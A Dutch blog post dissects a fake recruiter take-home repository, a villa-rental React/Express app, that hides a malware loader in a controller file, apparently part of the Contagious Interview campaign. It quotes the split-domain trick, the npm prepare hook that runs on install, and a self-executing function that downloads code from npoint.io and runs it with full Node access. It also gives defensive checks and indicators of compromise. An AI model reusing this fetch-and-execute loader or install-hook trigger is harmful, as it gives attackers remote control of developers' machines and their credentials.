Een week. Zo lang duurde het voordat de volgende opdook
Als je mijn vorige post hebt gelezen, weet je dat ik bijna trapte in een nep-baan programmeeropdracht die malware verstopte op de Binance Smart Chain. Dat was een pokerplatform met payloads gehost op de blockchain
Dit keer is het een "Copia verhuurplatform" — een villa-boekingsapp gebouwd met React, Express en MongoDB. Andere verpakking, hetzelfde spelletje
En ze maakten het bijna moeilijker om te ontdekken
De Aanbieding
Hetzelfde draaiboek als vorige keer. Recruiter neemt contact op, baan klinkt goed, hier is een repo om te beoordelen als thuisopdracht
Het project ziet eruit als een standaard MERN stack verhuur-app. Villa's, boekingen, gebruikersauthenticatie, chat. Nette React-frontend met react-router, Express-backend met JWT-authenticatie, Socket.io voor realtime berichten
Copia-rental_platform/├── src/│ ├── components/ # Home, Villas, Contact, Navbar, Footer│ ├── subComponents/ # HeroSection, Regions, TopVillas│ ├── server/│ │ ├── controllers/ # auth, product, seller, chat│ │ ├── middleware/ # JWT socket auth│ │ ├── models/ # User, Product, Chat│ │ ├── routers/ # Express routes│ │ └── utils/ # ...hier wordt het vreemd│ └── App.jsx├── package.json└── vite.config.js
Op het eerste gezicht doorstaat het de geurtest. Echte componenten, echte auth-flow, echte CRUD-operaties
Rode Vlag #1: De utils Directory
De server heeft een utils/ directory vol met bestanden die absoluut niets te maken hebben met het verhuren van villa's:
src/server/utils/├── actions/│ ├── rarity_core_attributes.js│ ├── rarity_extended_boars.js│ ├── rarity_extended_crafting_helper.js│ ├── rarity_extended_daycare.js│ ├── rarity_extended_equipment.js│ ├── rarity_extended_farming.js│ ├── rarity_extended_name.js│ ├── rarity_openmic_perform.js│ ├── rarity_theForest.js│ ├── vaults.js│ └── utils.js├── index.js└── performBatchedUpdates.js
Dit is allemaal gestolen van Rarity Extended, een blockchain RPG-spel. De bestanden hebben nog steeds de originele auteursheaders met @Author: Rarity Extended en @Twitter: @RXtended
Een verhuurplatform heeft geen apeInVault(), claimGold(), recruitAdventurer() of lootDungeonTheCellar() nodig. Deze code bestaat puur om de repo op te vullen en het er als een groter, legitiemer project uit te laten zien
Rode Vlag #2: De Git-Geschiedenis
De commitgeschiedenis vertelt het echte verhaal:
61e64fb updated backend functions 45b66b14 updated backend functions 3776cc7f deleted backend api connection...01f085f 0xdj28f8q2hfebc7d74c 0xkaf28fjdrafhc2ff83a 0xioadq328fakfw1a6db3e 0xi2fidkkfkw8e1734a 0xdafk3afdufh2...7b2d903 Initial commit
Meer dan 40 commits met neppe hex-achtige berichten, ontworpen om op blockchain-transactiehashes te lijken. Vier verschillende auteursidentiteiten — smitrajput, rcstanciu, fadeev, passabilities — allemaal committend om het te laten lijken alsof een echt team dit in de loop der tijd heeft gebouwd
Niemand noemt zijn commits 0xmcr214a31be. Dit is toneel
Rode Vlag #3: Het prepare Script
Net als vorige keer:
{"scripts": {"start": "npm run server | vite","prepare": "node ./src/server/app.js | vite","server": "node ./src/server/app.js"}}
De prepare lifecycle hook draait automatisch bij npm install. Het start de backend-server. De server laadt de controllers. En een van die controllers heeft een verrassing in petto
De Payload
Hier is de malware, verstopt in src/server/controllers/product.js tussen volkomen normale CRUD-functies:
const subDomain1 = "api.np";const subDomain2 = "oint.io";const domain2 = subDomain1 + subDomain2;const uuid = "c237b2d383b98719acdc";
Het domein is opgesplitst in twee strings. "api.np" + "oint.io" wordt samengevoegd tot api.npoint.io — een JSON-hostingservice. Als je de codebase doorzoekt op verdachte URL's, vind je er geen. Slim
Dan verstopt tussen getBidHistory en updateProduct:
(async () => {const res = await axios.get(`https://${domain2}/${uuid}`);new Function("require", res.data.model)(require);})();
Een zelfuitvoerende async functie die code downloadt van de externe server en uitvoert met new Function(), waarbij require wordt meegegeven voor volledige Node.js-toegang
Dezelfde techniek als de pokerzwendel. Hetzelfde new Function("require", payload)(require) patroon. Ander leveringsmechanisme — dit keer is het een JSON API in plaats van een blockchain smart contract
De Twee Aanvallen Vergeleken
De pokerzwendel (week 1) vermomde zich als een Web3 pokerplatform. Het hostte zijn payload op een Binance Smart Chain smart contract, getriggerd door een configureCollection() aanroep. De verduistering vertrouwde op normaal klinkende functienamen, en de opvulcode bestond uit schaakevenementen in een poker-app
Het verhuurplatform (week 2) doet zich voor als een villa-boekingssite. Het host zijn payload op npoint.io, een JSON API-service. De trigger is een zelfuitvoerende IIFE verstopt tussen normale exports. De verduistering gebruikt opgesplitste domeinstrings, en de opvulcode is een blockchain RPG-spel dat in een verhuur-app is gepropt
Wat hetzelfde blijft: de prepare hook voert automatisch uit bij installatie. Beide gebruiken new Function("require", payload)(require) om gedownloade code uit te voeren met volledige systeemtoegang
De kerntechniek is identiek. Download een string, voer het uit als code, geef require mee om volledige systeemtoegang te geven
De npoint.io-aanpak is eigenlijk minder geavanceerd dan de blockchain-versie. Een JSON-endpoint kan worden verwijderd. Een smart contract is onveranderlijk. Maar het is ook sneller op te zetten en makkelijker bij te werken
Wat Is Er Anders Dit Keer
Het opsplitsen van strings is nieuw. In plaats van een volledige URL in de code te hebben, verdelen ze het domein over meerdere variabelen. Dit omzeilt simpele grep-zoekopdrachten naar bekende kwaadaardige domeinen
De plaatsing is ook subtieler. Bij de pokerzwendel was de malware-trigger een losstaande functieaanroep aan het einde van de server-opstart. Hier is het een anonieme IIFE geperst tussen twee normale exportfuncties in een controllerbestand. Je zou elke regel moeten lezen om het te ontdekken
En de opvulcode is slimmer. Vorige keer hadden ze schaakevenementen in een pokerspel. Dit keer heeft de gestolen Rarity Extended code tenminste iets te maken met crypto/Web3, wat marginaal aannemelijker is in de context van een Node.js-project
Het Patroon
Dit is de Contagious Interview campagne. Toegeschreven aan de Lazarus Group uit Noord-Korea. Ze richten zich op ontwikkelaars — vooral die in crypto — via neppe baanaanbiedingen
De formule:
- Neppe recruiter neemt contact op met een goede kans
- Professioneel sollicitatieproces bouwt vertrouwen op
- Thuisopdracht wordt geleverd als een GitHub-repo
npm installtriggert de payload- Je machine is gecompromitteerd
Twee pogingen in een week vertelt me dat ze opschalen. Of ik sta nu op een lijst, of het net wordt wijder
Wat Te Doen
Als je een thuisopdracht krijgt van een recruiter:
- Lees
package.jsonscripts voordat je iets anders doet —prepare,preinstall,postinstallzijn automatisch uitgevoerde hooks - Zoek naar
new Function,eval,Function(in de hele codebase - Kijk naar stringconcatenatie die URL's of domeinnamen opbouwt
- Controleer of de utils of lib directories daadwerkelijk bij het doel van het project passen
- Bekijk de git-geschiedenis — neppe hex-commits en meerdere auteurs bij een klein project zijn rode vlaggen
- Draai het in een Docker-container of VM als je het überhaupt draait
Als je al npm install hebt uitgevoerd op een verdachte repo:
- Ga uit van compromittering. Roteer alle inloggegevens, controleer op onbekende processen, scan browserextensies
- Verplaats crypto van elke wallet die toegankelijk was vanaf die machine
- Controleer
~/.ssh/,~/.aws/, browserprofielen op tekenen van exfiltratie
Indicators of Compromise
Voor iedereen die aan dreigingsonderzoek doet:
- Payload URL:
https://api.npoint.io/c237b2d383b98719acdc - Techniek: String splitting om domein samen te stellen (
"api.np" + "oint.io") - Uitvoering:
new Function("require", res.data.model)(require) - Git-auteur:
smitrajput <smitrajputtd@gmail.com>
Slotgedachte
Twee keer in een week. Dezelfde techniek, andere verpakking
De eerste had me bijna te pakken omdat ik het niet verwachtte. Deze niet omdat ik nu elke thuisopdracht audit voordat ik hem aanraak. Die paranoia heeft me gered
Als je op dit moment als ontwikkelaar op zoek bent naar een baan, vooral in crypto of Web3 — je code review-vaardigheden moeten beginnen bij de opdracht zelf. Voordat je een enkele regel code schrijft, lees die van hen
De recruiter kan nep zijn. Het bedrijf kan nep zijn. Maar de malware is heel echt
Stay Updated
Get notified about new posts on automation, productivity tips, indie hacking, and web3.
No spam, ever. Unsubscribe anytime.



